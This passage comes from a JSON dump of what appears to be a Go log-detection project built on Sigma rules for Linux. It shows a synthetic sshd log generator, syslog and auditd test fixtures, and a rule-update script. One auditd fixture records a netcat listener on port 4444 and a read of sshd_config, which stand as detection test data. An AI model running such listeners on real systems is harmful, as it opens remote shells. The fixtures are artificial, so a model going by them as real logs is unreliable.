[]string{\"opened\", \"closed\"}), user)},\n\t\t{fmt.Sprintf(\"sshd[%d]\", pid),\n\t\t\tfmt.Sprintf(\"Disconnected from authenticating user %s %s port %d [preauth]\", user, ip, port)},\n\t\t{fmt.Sprintf(\"sshd[%d]\", pid),\n\t\t\tfmt.Sprintf(\"Connection closed by %s port %d\", ip, port)},\n\t}\n\n\tchosen := templates[rng.Intn(len(templates))]\n\treturn entry{line: syslogLine(t, host, chosen.proc, chosen.msg)}\n}\n\n// sshd error messages that match lnx_sshd_susp_ssh.yml\nvar sshdSuspMessages = []string{\n\t\"unexpected internal error\",\n\t\"unknown or unsupported key type\",\n\t\"invalid certificate signing key\",\n\t\"invalid elliptic curve value\",\n\t\"incorrect signature\",\n\t\"error in libcrypto\",\n\t\"unexpected bytes remain after decoding\",\n\t\"fatal: buffer_get_string: bad string\",\n\t\"Local: crc32 compensation attack\",\n\t\"bad client public DH value\",\n\t\"Corrupted MAC on input\",\n}\n\nfunc authSuspicious(rng *rand.Rand, t time.Time) entry {\n\thost := pick(rng, hostnames)\n\tpid := randPID(rng)\n\tip := pick(rng, srcIPs)\n\tmsg := pick(rng, sshdSuspMessages)\n\n\t// Some messages naturally include source info, others are bare\n\tif rng.Float64() > 0.5 {\n\t\tmsg = fmt.Sprintf(\"%s from %s port %d\", msg, ip, 20000+rng.Intn(45535))\n\t}\n\n\treturn entry{\n\t\tline: syslogLine(t, host, fmt.Sprintf(\"sshd[%d]\", pid), msg),\n\t\trule: \"lnx_sshd_susp_ssh\",\n\t}\n}\n"
  },
  {
    "path": "testdata/auditd.log",
    "content": "type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=2 success=no exit=-13 a0=7fffd19c5592 a1=0 a2=7fffd19c4b50 a3=a items=1 ppid=2686 pid=3538 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm=\"cat\" exe=\"/bin/cat\" key=\"sshd_config\"\ntype=CWD msg=audit(1364481363.243:24287): cwd=\"/home/user\"\ntype=PATH msg=audit(1364481363.243:24287): item=0 name=\"/etc/ssh/sshd_config\" inode=409248 dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL\ntype=EXECVE msg=audit(1364481400.000:24288): argc=4 a0=\"nc\" a1=\"-l\" a2=\"-p\" a3=\"4444\" exe=\"/bin/nc\" pid=9876 auid=0\nsome random line that should be skipped\nanother non-type line\ntype=USER_AUTH msg=audit(1364481500.000:24289): pid=1234 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct=\"root\" exe=\"/usr/sbin/sshd\" hostname=192.168.1.10 addr=192.168.1.10 terminal=ssh res=failed'\n"
  },
  {
    "path": "testdata/rsyslog.log",
    "content": "2023-03-01T10:00:01.000000+00:00 hostname sshd[1234]: Accepted password for user from 192.168.1.1 port 22 ssh2\n2023-03-02T20:04:38.000000+00:00 fedora systemd[1]: iptables.service: Deactivated successfully.\n2023-03-03T11:15:30.123456+00:00 server kernel: EXT4-fs error (device sda1)\n"
  },
  {
    "path": "testdata/syslog.log",
    "content": "Mar  1 10:00:01 hostname sshd[1234]: Accepted password for user from 192.168.1.1 port 22 ssh2\nMar  2 20:04:38 fedora systemd[1]: iptables.service: Deactivated successfully.\nMar  3 11:15:30 server kernel: EXT4-fs error (device sda1): ext4_validate_block_bitmap:376\nMar  4 09:00:00 host cron[5678]: (root) CMD (/usr/lib/update-notifier/apt-check)\n"
  },
  {
    "path": "update-rules.sh",
    "content": "#!/usr/bin/env sh\n\necho 'updating sigma rules started'\ngit clone https://github.com/SigmaHQ/sigma.git\nrm -r ./rules/\nmkdir ./rules/\nmv ./sigma/rules/linux/ ./rules/\nrm -r ./sigma/\necho 'updating sigma rules done'\n"
  }
]